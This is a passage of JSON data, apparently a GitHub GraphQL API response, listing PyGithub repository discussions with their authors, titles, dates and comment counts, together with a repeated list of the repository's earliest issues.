`RateLimit`"},{"databaseId":1899097294,"id":"I_kwDOADYVqs5xMezO","number":2760,"title":"Methods checking for 204 status handle 404 incorrectly"}]}}]}},{"id":"D_kwDOADYVqs4AYpFV","url":"https://github.com/PyGithub/PyGithub/discussions/2938","number":2938,"author":{"login":"guymatz","avatarUrl":"https://avatars.githubusercontent.com/u/1688920?v=4","url":"https://github.com/guymatz"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How can I tell if my branch has a Pull Request?","createdAt":"2024-04-04T14:28:32Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOC0yOFQxNzozMjoxMiswMjowMM4An94a","endCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOC0yOFQxNzozMjoxMiswMjowMM4An94a","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4An94a","url":"https://github.com/PyGithub/PyGithub/discussions/2938#discussioncomment-10477082","createdAt":"2024-08-28T15:32:12Z","author":{"login":"guymatz","avatarUrl":"https://avatars.githubusercontent.com/u/1688920?v=4","url":"https://github.com/guymatz"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AaOPh","url":"https://github.com/PyGithub/PyGithub/discussions/2997","number":2997,"author":{"login":"bobneuman","avatarUrl":"https://avatars.githubusercontent.com/u/129277129?u=45eb59bd0708ac6e551c49e1d1bb96822da8297d&v=4","url":"https://github.com/bobneuman"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Response caching","createdAt":"2024-06-28T15:47:23Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wNi0yOFQyMDowODo1MyswMjowMM4Aly6E","endCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wNi0yOFQyMDowODo1MyswMjowMM4Aly6E","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4Aly6E","url":"https://github.com/PyGithub/PyGithub/discussions/2997#discussioncomment-9907844","createdAt":"2024-06-28T18:08:53Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AaEL9","url":"https://github.com/PyGithub/PyGithub/discussions/2991","number":2991,"author":{"login":"syang","avatarUrl":"https://avatars.githubusercontent.com/u/188004?v=4","url":"https://github.com/syang"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Recursively list all file names in a repo without being throttled","createdAt":"2024-06-17T23:42:24Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AY1Qr","url":"https://github.com/PyGithub/PyGithub/discussions/2953","number":2953,"author":{"login":"lmilbaum","avatarUrl":"https://avatars.githubusercontent.com/u/7271026?u=ac6243aaafef7227105b940b706168cf5afab5e6&v=4","url":"https://github.com/lmilbaum"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Can this project used for creation a GitHub app?","createdAt":"2024-04-15T12:41:42Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AYqi6","url":"https://github.com/PyGithub/PyGithub/discussions/2943","number":2943,"author":{"login":"zituo-jin","avatarUrl":"https://avatars.githubusercontent.com/u/89419905?u=e6607fc1d0ec4ba23ffd96d46b1299b7f237a5b1&v=4","url":"https://github.com/zituo-jin"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Operations on pull requests in merge queue","createdAt":"2024-04-05T21:04:11Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AYLcF","url":"https://github.com/PyGithub/PyGithub/discussions/2916","number":2916,"author":{"login":"pn17F2DD3","avatarUrl":"https://avatars.githubusercontent.com/u/61848892?u=b5b29d2da4f32325d7ad2c5ba0a608055e1e6954&v=4","url":"https://github.com/pn17F2DD3"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Count the number of 'reopened' issues in GitHub","createdAt":"2024-03-07T19:29:10Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wMy0xNVQyMDoxNzoxOSswMTowMM4AhmDo","endCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wMy0xNVQyMDoxNzoxOSswMTowMM4AhmDo","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AhmDo","url":"https://github.com/PyGithub/PyGithub/discussions/2916#discussioncomment-8806632","createdAt":"2024-03-15T19:17:19Z","author":{"login":"xvega","avatarUrl":"https://avatars.githubusercontent.com/u/3665266?u=f4804e3b0fc2f7314de20d1f75b1296e8f4d8513&v=4","url":"https://github.com/xvega"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AX7h-","url":"https://github.com/PyGithub/PyGithub/discussions/2909","number":2909,"author":{"login":"bliu11","avatarUrl":"https://avatars.githubusercontent.com/u/28935182?v=4","url":"https://github.com/bliu11"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"long backoff time when encountering a single 403","createdAt":"2024-02-26T03:40:10Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wMi0yNlQwNzoxMzoyMiswMTowMM4AgwvB","endCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wMi0yNlQwNzoxMzoyMiswMTowMM4AgwvB","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AgwvB","url":"https://github.com/PyGithub/PyGithub/discussions/2909#discussioncomment-8588225","createdAt":"2024-02-26T06:13:22Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AXfgf","url":"https://github.com/PyGithub/PyGithub/discussions/2889","number":2889,"author":{"login":"andrewakl","avatarUrl":"https://avatars.githubusercontent.com/u/59714327?v=4","url":"https://github.com/andrewakl"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How to set the \"prevent_self_review\" param when creating/updating GitHub environment?","createdAt":"2024-01-30T21:47:39Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AWoET","url":"https://github.com/PyGithub/PyGithub/discussions/2852","number":2852,"author":{"login":"whanso","avatarUrl":"https://avatars.githubusercontent.com/u/26184716?v=4","url":"https://github.com/whanso"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Batch multiple `create_file` invocations within single commit?","createdAt":"2023-12-06T15:45:08Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AWfTk","url":"https://github.com/PyGithub/PyGithub/discussions/2849","number":2849,"author":{"login":"baishuotong","avatarUrl":"https://avatars.githubusercontent.com/u/38210633?v=4","url":"https://github.com/baishuotong"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"A research for generating PR checklists in Pull Request Template","createdAt":"2023-11-27T06:38:23Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0xMS0yN1QwOTo0OTo0NyswMTowMM4AdSmA","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0xMS0yN1QwOTo0OTo0NyswMTowMM4AdSmA","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AdSmA","url":"https://github.com/PyGithub/PyGithub/discussions/2849#discussioncomment-7678336","createdAt":"2023-11-27T08:49:47Z","author":{"login":"BerylYanjie","avatarUrl":"https://avatars.githubusercontent.com/u/30611562?v=4","url":"https://github.com/BerylYanjie"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AWN90","url":"https://github.com/PyGithub/PyGithub/discussions/2814","number":2814,"author":{"login":"marksie1988","avatarUrl":"https://avatars.githubusercontent.com/u/159166?u=60bae19c14e90c1cac5701dd17b0dae997aa0239&v=4","url":"https://github.com/marksie1988"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"get_secret not raising an exception","createdAt":"2023-11-07T16:23:56Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AV4CR","url":"https://github.com/PyGithub/PyGithub/discussions/2795","number":2795,"author":{"login":"fsadykov","avatarUrl":"https://avatars.githubusercontent.com/u/30247437?u=09d59326fac741c840e4460856ad25d8abdea6f3&v=4","url":"https://github.com/fsadykov"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How to get github issue python class using url or 